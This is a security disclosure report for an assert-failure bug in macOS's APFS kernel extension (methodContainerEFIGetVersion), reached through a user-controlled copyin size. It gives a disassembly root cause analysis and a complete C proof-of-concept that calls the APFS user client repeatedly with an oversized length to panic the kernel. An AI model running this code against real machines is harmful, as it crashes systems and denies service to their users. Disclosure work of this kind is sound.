Apple APFS copyin assert failure case
Overview
There is an assert failure case in function AppleAPFSUserClient::methodContainerEFIGetVersion
.
Root Cause Analysis
In function AppleAPFSUserClient::methodContainerEFIGetVersion
:
__text:0000000000016146 ; AppleAPFSUserClient::methodContainerEFIGetVersion(AppleAPFSUserClient*, void *, IOExternalMethodArguments *)
__text:0000000000016146 __ZN19AppleAPFSUserClient28methodContainerEFIGetVersionEPS_PvP25IOExternalMethodArguments proc near
__text:0000000000016146 ; DATA XREF: __const:00000000000F92D0o
__text:0000000000016146
__text:0000000000016146 var_68 = qword ptr -68h
__text:0000000000016146 var_60 = qword ptr -60h
__text:0000000000016146 var_58 = qword ptr -58h
__text:0000000000016146 var_50 = qword ptr -50h
__text:0000000000016146 var_48 = qword ptr -48h
__text:0000000000016146 var_40 = qword ptr -40h
__text:0000000000016146 var_38 = qword ptr -38h
__text:0000000000016146 var_30 = dword ptr -30h
__text:0000000000016146 var_2C = dword ptr -2Ch
__text:0000000000016146
__text:0000000000016146 push rbp
__text:0000000000016147 mov rbp, rsp
__text:000000000001614A push r15
__text:000000000001614C push r14
__text:000000000001614E push r13
__text:0000000000016150 push r12
__text:0000000000016152 push rbx
__text:0000000000016153 sub rsp, 48h
__text:0000000000016157 mov r15, rdi
__text:000000000001615A mov rax, [rdx+30h] ; structinput
__text:000000000001615E mov rdx, [rdx+58h]
__text:0000000000016162 mov r12, [rax]
__text:0000000000016165 mov esi, [rax+8] ; user-supplied size ---(1.a)
__text:0000000000016168 test r12, r12
__text:000000000001616B jz short loc_161BE
__text:000000000001616D mov r14, rdx
__text:0000000000016170 mov edi, 1
__text:0000000000016175 mov rbx, rsi
__text:0000000000016178 call __apfs_calloc ---(1.b)
__text:000000000001617D test rax, rax
__text:0000000000016180 jz short loc_161C3
__text:0000000000016182 mov rdi, r12
__text:0000000000016185 mov r12, rax
__text:0000000000016188 mov rsi, rax
__text:000000000001618B mov r13, rbx
__text:000000000001618E mov rdx, rbx
__text:0000000000016191 call _copyin ---(1.c)
At 1.b, apfs_calloc calls MALLOC to allocate memory with size assigned from user, at 1.c user buffer will copyin to the new allocated memory. If user set the size as 65MB and apfs_calloc succeed allocation, copyin will panic due to too large memory copy.
PoC Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
void trigger(io_connect_t conn)
{
uint64_t INPUTSCALAR[8];
uint32_t INPUTSCALARCNT = 0;
char INPUTSTRUCT[4096];
size_t INPUTSTRUCTCNT = 16;
uint64_t OUTPUTSCALAR[8] = {0};
uint32_t OUTPUTSCALARCNT = 0;
char OUTPUTSTRUCT[4096];
size_t OUTPUTSTRUCTCNT = 8;
//FILL INPUT
*(uint64_t*)(&INPUTSTRUCT[0]) = (uint64_t)INPUTSCALAR;
//*(uint64_t*)&(INPUTSTRUCT[8]) = 1919249516;
*(uint64_t*)&(INPUTSTRUCT[8]) = 68157440;
kern_return_t kr = IOConnectCallMethod(
conn,
12,
INPUTSCALAR,
INPUTSCALARCNT,
INPUTSTRUCT,
INPUTSTRUCTCNT,
OUTPUTSCALAR,
&OUTPUTSCALARCNT,
OUTPUTSTRUCT,
&OUTPUTSTRUCTCNT);
if (kr != KERN_SUCCESS) {
printf("send failure, err: 0x%x\n", kr);
}
}
int main(){
kern_return_t err;
CFMutableDictionaryRef Matching = IOServiceMatching("AppleAPFSContainer");
if(!Matching){
printf("UNABLE TO CREATE SERVICE MATCHING DICTIONARY\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, Matching, &iterator);
if (err != KERN_SUCCESS){
printf("NO MATCHES\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("UNABLE TO FIND SERVICE\n");
return 0;
}
io_connect_t CONN = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &CONN);
if (err != KERN_SUCCESS){
printf("UNABLE TO GET USER CLIENT CONNECTION\n");
return 0;
}else{
printf("GOT USERCLIENT CONNECTION: %X, TYPE:%D\n", CONN, 0);
}
for (int i=0; i<1000; i++) {
trigger(CONN);
}
printf("PANIC?\n");
return 0;
}
Panic log
See attachment.
Q & A
How did you find this vulnerability?
by fuzzing.
Can you identify exploitability?
This is an assert failure, it cannot be used for exploit.
Can you identify root cause?
Yes, see the root cause analysis.
Vulnerable software and hardware
macOS 10.14.3 and all before